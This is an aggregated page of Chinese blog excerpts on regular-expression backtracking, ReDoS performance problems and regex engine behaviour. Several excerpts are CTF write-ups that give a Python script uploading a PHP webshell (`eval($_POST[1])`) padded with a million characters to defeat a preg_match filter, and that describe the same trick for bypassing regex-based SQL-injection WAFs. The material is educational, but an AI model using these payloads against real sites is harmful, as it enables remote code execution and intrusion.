精华内容
下载资源
问答
  • PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit。我们可以通过 var_dump(ini_get(‘pcre.backtrack_limit’));的方式查看当前环境下的上限。回溯次数上限...
    1. 源码:

       <?php
       function is_php($data){
           return preg_match('/<\?.*[(`;?>].*/is', $data);
       }
       
       if(empty($_FILES)) {
           die(show_source(__FILE__));
       }
       
       $user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
       $data = file_get_contents($_FILES['file']['tmp_name']);
       if (is_php($data)) {
           echo "bad request";
       } else {
           @mkdir($user_dir, 0755);
           $path = $user_dir . '/' . random_int(0, 10) . '.php';
           move_uploaded_file($_FILES['file']['tmp_name'], $path);
       
           header("Location: $path", true, 303);
       }
      

      通过对源码分析,可知要求上传文件,且文件内容要通过正则且能RCE

    2. 正则:/<\?.*[(`;?>].*/is

      指匹配<?开头的中间出现[(`;?>]任一字符的不区分大小写的,无视换行符的字符串。即针对<?php ;<?php ?>等语句。

    3. 如何绕过正则且能RCE呢?
      Rerference: PHP利用PCRE回溯次数限制绕过某些安全限制

      PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit。我们可以通过 var_dump(ini_get(‘pcre.backtrack_limit’));的方式查看当前环境下的上限。回溯次数上限默认是 100 万。那么,假设我们的回溯次数超过了 100 万,会出现什么现象呢?preg_match 返回的非 1 和 0,而是 false。

      故构建RCE脚本:

       import requests
       from io import BytesIO
       
       url = "http://ip:port/"
       
       files = {
           'file' : BytesIO(b'<?php readfile("../../../flag_php7_2_1s_c0rrect");//'+b'a'*1000000) 
       }
       
       res = requests.post(url=url,files=files,allow_redirects=False)
       
       print(res.headers)
      

      得到flag{216728a834fb4c1e0bc6893e135f436e}

    展开全文
  • 稀疏度自适应正则回溯匹配追踪算法(SAMP algorithm based on regularized backtracking,SAMP-RB)是一种有效的压缩感知重构算法,在原子选择阶段引入回溯的思想,提高了重构精度,减少了重构时间。但SAMP-RB算法...
  • 假设我们的正则是/ab{1,3}c/,其可视化形式是: 而当目标字符串是"abbbc"时,就没有所谓的“回溯”。其匹配过程是: 其中子表达式b{1,3}表示“b”字符连续出现1到3次。 2. 有回溯的匹配 如果目标字符串是...

    1. 没有回溯的匹配

    假设我们的正则是/ab{1,3}c/,其可视化形式是:

    而当目标字符串是"abbbc"时,就没有所谓的“回溯”。其匹配过程是:

    其中子表达式b{1,3}表示“b”字符连续出现1到3次。

    2. 有回溯的匹配

    如果目标字符串是"abbc",中间就有回溯。

    图中第5步有红颜色,表示匹配不成功。此时b{1,3}已经匹配到了2个字符“b”,准备尝试第三个时,结果发现接下来的字符是“c”。那么就认为b{1,3}就已经匹配完毕。然后状态又回到之前的状态(即第6步,与第4步一样),最后再用子表达式c,去匹配字符“c”。当然,此时整个表达式匹配成功了。

    图中的第6步,就是“回溯”。

    像{1,3}这种属于贪婪量词他会尽可能多的去匹配,匹配不到时在回溯

      

    var string = "12345";
        
        var regex = /(\d{1,3})(\d{1,3})/;
        console.log( string.match(regex) );
        // => ["12345", "123", "45", index: 0, input: "12345"]

    其中,前面的\d{1,3}匹配的是"123",后面的\d{1,3}匹配的是"45"。

    而惰性量词则相反

    惰性量词就是在贪婪量词后面加一个问号

       var string = "12345";
        var regex = /(\d{1,3}?)(\d{1,3})/;
        console.log( string.match(regex) );
        // => ["1234", "1", "234", index: 0, input: "12345"]

    其中\d{1,3}?只匹配到一个字符"1",而后面的\d{1,3}匹配了"234"。

    虽然惰性量词不贪,但也会有回溯的现象。比如正则是:

    目标字符串是"12345",匹配过程是:


    虽然惰性量词不贪,但是为了整体匹配成,没办法,也只能给你多塞点了。因此最后\d{1,3}?匹配的字符是"12",是两个数字,而不是一个。

    而常见的正则引擎,又被细分为 DFA(确定性有限状态自动机)与 NFA(非确定性有限状态自动机)。他们匹配输入的过程分别是:

        DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入
        
        NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态

    由于 NFA 的执行过程存在回溯,所以其性能会劣于 DFA,但它支持更多功能。大多数程序语言都使用了 NFA 作为正则引擎,其中也包括 PHP 使用的 PCRE 库。

    利用正则回溯最大次数上限进行绕过

    源码:

       

      <?php
         function is_php($data){
             return preg_match('/<\?.*[(`;?>].*/is', $data);
         }
        
         if(empty($_FILES)) {
             die(show_source(__FILE__));
         }
        
         $user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
         $data = file_get_contents($_FILES['file']['tmp_name']);
         if (is_php($data)) {
             echo "bad request";
         } else {
             @mkdir($user_dir, 0755);
             $path = $user_dir . '/' . random_int(0, 10) . '.php';
             move_uploaded_file($_FILES['file']['tmp_name'], $path);
        
             header("Location: $path", true, 303);
        
         }

    一看就是要上传文件进行rce了

    但是这里的正则表达式ban掉了<?php 之类的

    上文提到的正则回溯然后量过大必然会消耗大量的时间甚至会被DOS攻击

        PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit。

    我们可以通过 var_dump(ini_get(‘pcre.backtrack_limit’));的方式查看当前环境下的上限。回溯次数上限默认是 100 万。那么,假设我们的回溯次数超过了 100 万,会出现什么现象呢?preg_match 返回的非 1 和 0,而是 false。

    如果长度超过了100万,则会返回false

    所以我们可以用超过100万的长度来是preg_match语句返回false从而不进入if循环来达到上传文件的目的

      poc:
        import requests
        from io import BytesIO
        
        url = "http://xxx.xxx.xxx/"
        
        files = {
            'file': BytesIO(b'aaa<?php eval($_POST[1]);//' + b'a' * 1000000)
        }
        
        res = requests.post(url=url, files=files, allow_redirects=False)
        
        print(res.headers)

    然后找到路径,这里可能是ban掉了system这些,所以我直接用蚁剑连接即可

    很多基于 PHP 的 WAF,如:

       

    <?php
        if(preg_match('/SELECT.+FROM.+/is', $input)) {
            die('SQL Injection');
        }

    均存在上述问题,通过大量回溯可以进行绕过。

    另外,我遇到更常见的一种 WAF 是:

      <?php
        if(preg_match('/UNION.+?SELECT/is', $input)) {
            die('SQL Injection');
        }

    这里涉及到了正则表达式的「非贪婪模式」。在 NFA 中,如果我输入 UNION/*aaaaa*/SELECT,这个正则表达式执行流程如下:

        .+? 匹配到/
        
        因为非贪婪模式,所以.+? 停止匹配,而由 S 匹配*
        
        S 匹配*失败,回溯,再由.+? 匹配*
        
        因为非贪婪模式,所以.+? 停止匹配,而由 S 匹配 a
        
        S 匹配 a 失败,回溯,再由.+? 匹配 a
        
        ...
        
        回溯次数随着 a 的数量增加而增加。所以,我们仍然可以通过发送大量 a,来使回溯次数超出 pcre.backtrack_limit 限制,进而绕过 WAF:

    其实在官方文档里面介绍了

    用preg_match一定要用===来判断返回值

    参考链接:https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

    展开全文
  • 正则表达式的回溯

    2021-03-16 14:45:34
    英文字母大小写2....”,“-”,“_”等看到这个要求的时候,自然而然地想到了正则表达式。于是就有了下面的表达式(写的比较龊):^([A-Za-z0-9._()&'\- ]|[aAàÀảẢãÃáÁạẠăĂằẰẳẲẵẴắẮặẶ...

    1. 血案由来

    近期我在为Lazada卖家中心做一个自助注册的项目,其中的shop name校验规则较为复杂,要求:

    1. 英文字母大小写

    2. 数字

    3. 越南文

    4. 一些特殊字符,如“&”,“-”,“_”等

    看到这个要求的时候,自然而然地想到了正则表达式。于是就有了下面的表达式(写的比较龊):

    ^([A-Za-z0-9._()&'\- ]|[aAàÀảẢãÃáÁạẠăĂằẰẳẲẵẴắẮặẶâÂầẦẩẨẫẪấẤậẬbBcCdDđĐeEèÈẻẺẽẼéÉẹẸêÊềỀểỂễỄếẾệỆfFgGhHiIìÌỉỈĩĨíÍịỊjJkKlLmMnNoOòÒỏỎõÕóÓọỌôÔồỒổỔỗỖốỐộỘơƠờỜởỞỡỠớỚợỢpPqQrRsStTuUùÙủỦũŨúÚụỤưƯừỪửỬữỮứỨựỰvVwWxXyYỳỲỷỶỹỸýÝỵỴzZ])+$

    在测试环境,这个表达式从功能上符合业务方的要求,就被发布到了马来西亚的线上环境。结果上线之后,发现线上机器时有发生CPU飙到100%的情况,导致整个站点响应异常缓慢。通过dump线程trace,才发现线程全部卡在了这个正则表达式的校验上:

    f7231c9a4d617f0f674fb59327a9762f.png

    一开始难以置信,一个正则表达式的匹配过程怎么可能引发CPU飚高呢?抱着怀疑的态度去查了资料才发现小小的正则表达式里面竟然大有文章,平时写起来都是浅尝辄止,只要能够满足功能需求,就认为达到目的了,完全忽略了它可能带来的性能隐患。

    引发这次血案的就是所谓的正则“回溯陷阱(Catastrophic Backtracking)”。下面详细介绍下这个问题,以避免重蹈覆辙。

    2. 正则表达式引擎

    说起回溯陷阱,要先从正则表达式的引擎说起。正则引擎主要可以分为基本不同的两大类:一种是DFA(确定型有穷自动机),另一种是NFA(不确定型有穷自动机)。简单来讲,NFA 对应的是正则表达式主导的匹配,而 DFA 对应的是文本主导的匹配。

    DFA从匹配文本入手,从左到右,每个字符不会匹配两次,它的时间复杂度是多项式的,所以通常情况下,它的速度更快,但支持的特性很少,不支持捕获组、各种引用等等;而NFA则是从正则表达式入手,不断读入字符,尝试是否匹配当前正则,不匹配则吐出字符重新尝试,通常它的速度比较慢,最优时间复杂度为多项式的,最差情况为指数级的。但NFA支持更多的特性,因而绝大多数编程场景下(包括java,js),我们面对的是NFA。以下面的表达式和文本为例,

    text =‘after tonight’regex =‘to(nite|nighta|night)’

    在NFA匹配时候,是根据正则表达式来匹配文本的,从t开始匹配a,失败,继续,直到文本里面的第一个t,接着比较o和e,失败,正则回退到 t,继续,直到文本里面的第二个t,然后 o和文本里面的o也匹配,继续,正则表达式后面有三个可选条件,依次匹配,第一个失败,接着二、三,直到匹配。

    而在DFA匹配时候,采用的是用文本来匹配正则表达式的方式,从a开始匹配t,直到第一个t跟正则的t匹配,但e跟o匹配失败,继续,直到文本里面的第二个 t 匹配正则的t,接着o与o匹配,n的时候发现正则里面有三个可选匹配,开始并行匹配,直到文本中的g使得第一个可选条件不匹配,继续,直到最后匹配。

    可以看到,DFA匹配过程中文本中的字符每一个只比较了一次,没有吐出的操作,应该是快于NFA的。另外,不管正则表达式怎么写,对于DFA而言,文本的匹配过程是一致的,都是对文本的字符依次从左到右进行匹配,所以,DFA在匹配过程中是跟正则表达式无关的,而 NFA 对于不同但效果相同的正则表达式,匹配过程是完全不同的。

    3. 回溯

    说完了引擎,我们再来看看到底什么是回溯。对于下面这个表达式,相信大家很清楚它的意图,

    ab{1,3}c

    也就是说中间的b需要匹配1~3次。那么对于文本“abbbc”,按照第1部分NFA引擎的匹配规则,其实是没有发生回溯的,在表达式中的a匹配完成之后,b恰好和文本中的3个b完整匹配,之后是c发生匹配,一气呵成。如果我们把文本换成“abc”呢?无非就是少了一个字母b,却发生了所谓的回溯。匹配过程如下图所示(橙色为匹配,黄色为不匹配),

    4794c0b03ec0c80444f637a9b6bd7b67.png

    1~2步应该都好理解,但是为什么在第3步开始,虽然已经文本中已经有一个b匹配了b{1,3},后面还会拉着字母c跟b{1,3}做比较呢?这个就是我们下面将要提到的正则的贪婪特性,也就是说b{1,3}会竭尽所能的匹配最多的字符。在这个地方我们先知道它一直要匹配到撞上南墙为止。 在这种情况下,第3步发生不匹配之后,整个匹配流程并没有走完,而是像栈一样,将字符c吐出来,然后去用正则表达式中的c去和文本中的c进行匹配。这样就发生了一次回溯。

    4. 贪婪、懒惰与独占

    我们再来看一下究竟什么是贪婪模式。

    下面的几个特殊字符相信大家都知道它们的用法:

    i. ?: 告诉引擎匹配前导字符0次或一次。事实上是表示前导字符是可选的。

    ii. +: 告诉引擎匹配前导字符1次或多次。

    iii. *: 告诉引擎匹配前导字符0次或多次。

    iv. {min, max}: 告诉引擎匹配前导字符min次到max次。min和max都是非负整数。如果有逗号而max被省略了,则表示max没有限制;如果逗号和max都被省略了,则表示重复min次。

    默认情况下,这个几个特殊字符都是贪婪的,也就是说,它会根据前导字符去匹配尽可能多的内容。这也就解释了为什么在第3部分的例子中,第3步以后的事情会发生了。

    在以上字符后加上一个问号(?)则可以开启懒惰模式,在该模式下,正则引擎尽可能少的重复匹配字符,匹配成功之后它会继续匹配剩余的字符串。在上例中,如果将正则换为

    ab{1,3}?c

    则匹配过程变成了下面这样(橙色为匹配,黄色为不匹配),

    f212acfff6cfcd55ceb6ca75365e3aca.png

    由此可见,在非贪婪模式下,第2步正则中的b{1,3}?与文本b匹配之后,接着去用c与文本中的c进行匹配,而未发生回溯。

    如果在以上四种表达式后加上一个加号(+),则会开启独占模式。同贪婪模式一样,独占模式一样会匹配最长。不过在独占模式下,正则表达式尽可能长地去匹配字符串,一旦匹配不成功就会结束匹配而不会回溯。我们以下面的表达式为例,

    ab{1,3}+bc

    如果我们用文本"abbc"去匹配上面的表达式,匹配的过程如下图所示(橙色为匹配,黄色为不匹配),

    030436a2369c097789535118c7fe81b0.png

    可以发现,在第2和第3步,b{1,3}+会将文本中的2个字母b都匹配上,结果文本中只剩下一个字母c。那么在第4步时,正则中的b和文本中的c进行匹配,当无法匹配时,并不进行回溯,这时候整个文本就无法和正则表达式发生匹配。如果将正则表达式中的加号(+)去掉,那么这个文本整体就是匹配的了。

    把以上三种模式的表达式列出如下,

    贪婪

    懒惰

    独占

    X?

    X??

    X?+

    X*

    X*?

    X*+

    X+

    X+?

    X++

    X{n}

    X{n}?

    X{n}+

    X{n,}

    X{n,}?

    X{n,}+

    X{n,m}

    X{n,m}?

    X{n,m}+

    5. 总结

    现在再回过头看看文章开头的那个很长的正则表达式,其实简化之后,就是一个形如

    ^[允许字符集]+

    的表达式。该字符集大小约为250,而+号表示至少出现一次。按照上面说到的NFA引擎贪婪模式,在用户输入一个过长字符串进行匹配时,一旦发生回溯,计算量将是巨大的。后来采用了独占模式,CPU 100%的问题也得到了解决。

    因此,在自己写正则表达式的时候,一定不能大意,在实现功能的情况下,还要仔细考虑是否会带来性能隐患。

    展开全文
  • 正则表达式回溯

    千次阅读 2017-06-02 15:12:07
    前几天有小伙伴来求救说页面上有一个  input  框,随着用户不断输入内容,页面响应会越来越慢直到完全失去响应。...求正则回溯分析工具,借助工具,更好的优化正则

    前几天有小伙伴来求救说页面上有一个 input 框,随着用户不断输入内容,页面响应会越来越慢直到完全失去响应。

    简单沟通过后得知具体场景是这样的:

    • input 框中允许用户输入一连串逗号分隔的商品id
    • 在用户输入的过程中实时检测用户输入的内容是否符合规则,若不符合则给出提示信息

    小伙伴的解决方案也很直接:

    • 给 input 框绑定 keyup 事件。
    • 在 keyup 事件回调函数中通过正则表达式判断是否符合规则,决定是否展示提示信息。

    经过反复验证得到如下规律:

    • 用户在输入商品 id 的过程中(连续输入多个数字)不会卡顿
    • 当用户输入逗号时,出现卡顿。随着输入商品 id 的数量增加,卡顿越来越明显,直至浏览器失去响应。

    于是打开 Chrome 开发者工具,选择 Performance (原 Timeline) 标签页。将整个过程记录下来,得到如下时间线:

    其中黄色宽条表示 JavaScript 主线程的执行情况。连续的黄条越长,表示单次 JavaScript 运行的时间越长。也就意味着 UI 失去响应的时间越长。这一点从截图中的蓝色框中也可以得到印证。蓝色框中的红色长条表示浏览器一帧(一次渲染)所需要的时间。

    那么到底是 JavaScript 中的哪些代码占中了这么长 CPU 时间呢?我们在底部的选项卡中选中 Bottom-Up ,按 Total Time 降序排列。得到如下结果:

    可以看出,72.% 的 CPU 时间用在了一条正则表达式上。你肯定想到了,这就是小伙伴用来检查用户输入是否合法的正则表达式。

    完整的正则表达式是这样的:

    /^\s*((\d+(\,|,)\d+)*|(\d+))\s*$/
    

    接着去 regex101 上测试一下,测试数据如下,由 10 个商品 ID 组成的字符串:

    123456789,123456789,123456789,123456789,123456789,123456789,123456789,123456789,123456789,123456789
    

    执行结果如下:

    可以看到执行速度非常快,只用了不到 1ms。

    接下来在测试数据结尾加一个逗号,以模拟不符合规则的情况:

    正则表达式执行的时间暴增到 4.15s。

    经过多次测试发现:每次正常匹配执行的时间都很短。每次不匹配时,执行的时间都很长,且随着字符串长度的增加,时间成倍的增长。

    接下来让我们认真的观察一下这个正则表达式:

    /^\s*((\d+(\,|,)\d+)*|(\d+))\s*$/
    

    去掉匹配首尾的空白字符,其核心结构只有两部分 ((\d+(\,|,)\d+)* 与 (\d+)。前者用于匹配多个商品 ID 的情况,后者匹配只有一个商品 ID 的情况。

    前者的基本模式是这样的 商品ID,商品ID,然后把该模式重复多次。仔细观察后很快我就发现了第一个问题,假设用户输入的内容是 商品ID,商品ID,商品ID 。你会发现它符合输入规则,但是不与该正则表达式匹配。因为第一次匹配后剩余的字符串部分 ,商品ID 无法与基本模式形成匹配。

    这的是这样吗?

    测试发现,依然可以匹配。但匹配的内容和我们预期的并不一致。

    最后一次匹配的内容是,9,123456789。不难想象第一次的匹配结果就是 123456789,12345678

    这里可以看出小伙伴编写的正则有两个问题:

    1. 逻辑错误。通过测试结果可以看出无法匹配出正确的商品 ID。如果商品 ID 运行只有 1 位数字,则匹配失败。
    2. 性能差。

    在了解需求后,我给小伙伴提供了一种正则写法:

    ^\s*(\d+(,|,))*\d+\s*$
    

    经过测试,这种写法在保证逻辑无误的前提下还保证了执行效率(在有数百个商品 ID 的情况下依然可以在几毫秒内执行完毕)。

    讲到这里,你可能会有两个问题:

    1. 为何第一种写法的正则表达式匹配结果和我们预想的不一致。
    2. 为何两种写法的性能差别如此之大。

    要回答这个问题,还要从正则表达式中 * 符号的执行逻辑说起。

    回溯

    大家都知道 * 表示匹配前面的子表达式 0 次或多次(且尽可能多的匹配)。但这个逻辑具体是如何执行的呢?让我们通过几个小例子来看一下。

    Round 1

    假设有正则表达式 /^(a*)b$/ 和字符串 aaaaab。如果用该正则匹配这个字符串会得到什么呢?

    答案很简单。两者匹配,且捕获组捕获到字符串 aaaaa

    Round 2

    这次让我们把正则改写成 /^(a*)ab$/。再次和字符串 aaaaab 匹配。结果如何呢?

    两者依然匹配,但捕获组捕获到字符串 aaaa。因为捕获组后续的表达式占用了 1 个 a 字符。但是你有没有考虑过这个看似简单结果是经过何种过程得到的呢?

    让我们一步一步来看:

    1. 匹配开始 (a*) 捕获尽可能多的字符 a
    2. (a*) 一直捕获,直到遇到字符 b。这时 (a*) 已经捕获了 aaaaa
    3. 正则表达式继续执行 (a*) 之后的 ab 匹配。但此时由于字符串仅剩一个 b 字符。导致无法完成匹配。
    4. (a*) 从已捕获的字符串中“吐”出一个字符 a。这时捕获结果为 aaaa,剩余字符串为 ab
    5. 重新执行正则中 ab的匹配。发现正好与剩余字符串匹配。整个匹配过程结束。返回捕获结果 aaaa

    从第3,4步可以看到,暂时的无法匹配并不会立即导致整体匹配失败。而是会从捕获组中“吐出”字符以尝试。这个“吐出”的过程就叫回溯

    回溯并不仅执行一次,而是会一直回溯到另一个极端。对于 * 符号而言,就是匹配 0 次的情况。

    Round 3

    这次我们把正则改为 /^(a*)aaaab$/。字符串依然为 aaaaab。根据前边的介绍很容易直到。此次要回溯 4 次才可以完成匹配。具体执行过程不再赘述。

    悲观回溯

    了解了回溯的工作原理,再来看悲观回溯就很容易理解了。

    Round 4

    这次我们的正则改为 /^(a*)b$/。但是把要匹配的字符串改为 aaaaa。去掉了结尾的字符 b

    让我们看看此时的执行流程:

    1. (a*) 首先匹配了所有 aaaaa
    2. 尝试匹配 b。但是匹配失败。
    3. 回溯 1 个字符。此时剩余字符串为 a。依然无法匹配字符 b
    4. 回溯一直进行。直到匹配 0 次的情况。此时剩余字符串为 aaaaa。依然无法匹配 b
    5. 所有的可能性均已尝试过,依然无法匹配。最终导致整体匹配失败。

    可以看到,虽然我们可以一眼看出二者无法匹配。但正则表达式在执行时还要“傻傻的”逐一回溯所有可能性,才能确定最终结果。这个“傻傻的”回溯过程就叫悲观回溯

    虽然这个过程看起来有点傻,但是不是感觉也没什么大问题?为何会有性能问题呢?让我们回到最初的那个正则表达式。

    Round 5

    这次正则表达式回到 ^\s*((\d+(\,|,)\d+)*|(\d+))\s*$。字符串为123456789,123456789,123456789, 执行的结果依然为不匹配。这点毫无疑问。但问题是,执行的过程中,进行了多少次回溯呢?

    让我们统计一下:

    1. 首轮执行过后的捕获结果是 123456789,123456789,123456789。但这时剩余字符串仅剩 , 一个字符。于是开始悲观回溯。
    2. 首先看第一个匹配不变的情况下,第二个匹配组回溯的情况。

      a. 回退 1 个字符。剩余字符串为 9,。不匹配。共回溯 1 次。
      b. 回退 2 个字符。剩余字符串为 89,。不匹配。但是 89 又进行一次回溯。共回溯 2 次。
      c. 以此类推。最多回退 8 个字符。此时剩余字符串为 23456789,。共可以回溯 8 次。
      d. 累计回溯 1 + 2 + 3 + 4 + 5 + 6 + 7 + 8 = 36 次。

    3. 接着,第一个捕获组回溯 1 个字符。捕获结果变为 123456789,123456789,123456789。此时又将循环一遍 2 中的所有逻辑。累计回溯 36 + 1次。

    4. 以此类推,全部回溯完成,需要回溯 324 次。

    假设我们增加一个商品 ID,字符串变为 123456789,123456789,123456789,123456789,。此时的回溯次数增加到 2628 次。

    以此类推可得。

    商品 ID 个数回溯次数
    3324
    42628
    521060
    6168516
    71348164
    810785348
    986282820
    10690262596

    可见问题在于,随着商品 ID 个数的增长,回溯次数会成指数级增长。最终导致 JavaScript 主进程忙于进行计算,使页面失去响应。

    但是我当时给出的解决方案:

    ^\s*(\d+(,|,))*\d+\s*$
    

    也使用了 * 符号,按说也会进行悲观回溯。为何没有性能问题呢?

    答案在于,对于同一字符串是否有多种可行的匹配模式。也就是说对于某个固定的字符串,你的正则表达式是否有“唯一解”。

    举例对于我给出的正则,对于字符串 123456789,123456789,123456789 只可能有 1 种匹配结果。那就是 123456789,123456789, 和 123456789。因此,在回溯时只需进行一次线性的回溯即可(24 次)。而不会像前面分析的第一种正则一样,有多种“可能”的匹配方式。

    解决方案

    在了解了悲观回溯为何会导致性能问题后,就可以考虑如何解决这个问题。要解决这个问题,大概有以下几个思路:

    思路一: 禁止回溯

    这个思路很直接,既然回溯可能有性能问题,那我们是否可以禁止正则表达式进行回溯呢。

    答案是:可以。

    有两种语法可以防止回溯:

    • 有限量词(Possessive Quantifiers)
    • 原子分组(Atomic Grouping)

    关于这两种语法,感兴趣的同学可以自行 Google。在此不详细解释。因为这两种语法在 JavaScript 中均不被支持。

    思路二:避免导致性能问题的回溯

    这个思路也比较容易想到。其实经过思考不难想到。两种模式的正则表达式很可能会导致有性能问题的回溯。

    • 前后重复的模式。 例如 /x*x*/。虽然这个例子看起来很“弱智”,但是当规则变复杂时,每一个 x 又可能是由多个子表达式组成的。当这些子表达式存在逻辑上的交集时,就可能会出现性能问题。
    • 嵌套的量词。例如 /(x*)*/。包括文中提到的第一个正则也属于这种模式。

    当我们在编写正则表达式时写出了这种模式的时候,大家就要谨慎起来。考虑一下是否有潜在的性能问题,是否有更好的写法了。

    思路三:不使用正则表达式

    其实像文中举的这个例子,甚至都没必要使用正则表达式。直接写一个 JavaScript 函数,按逗号切分字符串,逐个字符判断即可。而且可以保证代码的性能是线性的。


    More:

    求正则回溯分析工具,借助工具,更好的优化正则





    展开全文
  • 正则表达式之回溯

    2021-03-26 11:18:34
    关于“回溯”我也是第一次接触,对它也不算很了解。下面就把我所了解的做为一个心德记录下来,以备查看。我们所使用的正则表达式的匹配基础大概分为:优先选择最左端(最靠开头)的匹配结果和标准的匹配量词(*、+、?...
  • java正则表达式回溯

    2021-03-05 21:44:19
    正则表达式测试平台:最近,我正在为...当我看到这个要求时,我自然想到了正则表达式. 因此,有以下表达式(以比较形式编写):^([A-Za-z0-9 ._()&'\-] | [aAààảẢãáÁạẠạẠăĂằẰẳẲẵẴắẮặẶâầẦẩẨ...
  • 正则表达式回溯漏洞

    2019-09-24 13:58:08
    背景: 产品有个通过正则表达式验证用户...)\\d+)*$",被别人测出来存在正则表达式回溯的漏洞,即输入很长一段字符,触发正则回溯后,导致CPU占用达到200%。搜了下相关资料,梳理下这个漏洞的发生原因如下。 1.正...
  • 正则表达式在线测试平台:https://regex101.com/ ...1. 英文字母大小写 2. 数字 ...看到这个要求的时候,自然而然地想到了正则表达式。于是就有了下面的表达式(写的比较龊): ^([A-Za-z0-9._()&...
  • 无疑是进入正则表达式的回溯陷阱.拿线上正则表达式做个执行的实验,代码如下private static final Pattern URL_PATTERN = Pattern.compile("(http|ftp|https)://(?:[\\w-\\.]{0,255})(?:(?:\\/?[^\...
  • 懒惰和贪婪-正则回溯

    2018-09-06 16:54:29
    需要一定的正则基础,并且是基于JS写的文章。 正则表达式是从左往右匹配的。在使用正则表达式的时候我们知道/.*/可以匹配一个字字符串中所有的字符,/.*?/却一个字符都匹配不到。/(.*)\d/中的.\*可以匹配除了最后一...
  • 参考文章: https://www.zhihu.com/question/48219401 ... 一、正则回溯是什么 首先,回溯是什么? ​ 回溯法是一种通用的计算机算法,用于查找某些计算问题的所有(或某些)解决方案,特别是约..
  • PHP正则回溯溢出绕过

    2021-09-22 19:53:12
    PHP正则绕过案例代码分析EXP 案例代码 <?php function is_php($data){ return preg_match('/<\?.*[(`;?>].*/is',$data); } if(empty($_FILES)) { die(show_source(__FILE__)) ; } $user_dir = './...
  • 正则表达式回溯陷阱

    千次阅读 2018-08-07 09:16:52
    藏在正则表达式里的陷阱 一个正则表达式引发的血案 在线测试平台
  • Java 正则表达式使用的引擎实现是 NFA 自动机,这种正则表达式引擎在进行字符匹配时会发生回溯(backtracking)。 而一旦发生回溯,那其消耗的时间就会变得很长,有可能是几分钟,也有可能是几个小时,时间长短取决...
  • 正则表达式回溯问题

    2018-08-23 17:40:04
    运行程序时卡住,调试发现卡在正则表达式匹配语句,并且占了大量CPU,查资料初步了解可能发生了正则表达式回溯,解决办法就是进入以下网站测试正则表达式并改进写法 https://regex101.com/...
  • 写于2015年6月2日,可能...正则表达式的坑在于,看到一个正则,我们很难直观地知道它要做什么;写了一个正则,我们也很难直观地想像机器是怎么处理的。因而常常出现想不到或者没想到的问题。今天我们谈谈一个严重影...
  • 深度分析正则(pcre)最大回溯/递归限制,需要的朋友可以参考下。
  • PHP正则匹配绕过

    2021-03-26 11:19:29
    之前没有从机制上去了解过PHP正则...由于NFA的执行过程存在回溯,所以其性能会劣于DFA,但它支持更多功能。大多数程序语言都使用了NFA作为正则引擎,其中也包括PHP使用的PCRE库。所以这里详细介绍一下NFA(Nondetermi...
  • [align=center][b]正则回溯引用在替换操作中的应用[/b][/align] [b]正则表达式适合用于复杂的替换,尤其是需要使用回溯引用的场合,这样才能体现出正则表达式的威力。[/b][code="java"] 现在一Html...
  • 记录备选状态, 并将匹配控制交给正则表达式的下一个匹配字符, 当之后的匹配失败的时候, 再回溯, 进行匹配。 举例来说: 源字符串: aaab 正则: .*?b 匹配过程开始的时候, “.*?”首先取得匹配控制权, 因为是非贪婪...
  • 查询得知,正则回溯陷阱---由于正则表达式的写法,使得系统需要花费过多的时间和步数去查询。 举一个栗子: 考虑这样一个正则 / ( a * ) * b /  ,用它来匹配”aaaaaaaaaa”(10个a组成的字符串...
  • 这一章讲回溯引用,简单来说,回溯引用就是前后要一致性匹配。比如常见的HTML语言就是这样的。比如如下HTML源代码<html> <head> <title></title> </head> <body> </...
  • 有时候,我们觉得,没有什么可以让我们快乐,我们甚至忘记了如何微笑。但是,当我们被一群乐观、欢乐的人包围的时候,他们从内心深处散发出来的欢迎一定会感染你... 深悉正则(pcre)最大回溯/递归限制 对于如下的正则 /
  • 昨天,群里一位网友在学习正则表达式。提到了正则表达式三种模式:贪婪模式、懒惰模式、独占模式。然后大家就一起讨论起来了,一发不可收拾。最后大家总结出了一个表格,如下所示:根...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 14,305
精华内容 5,722
关键字:

正则回溯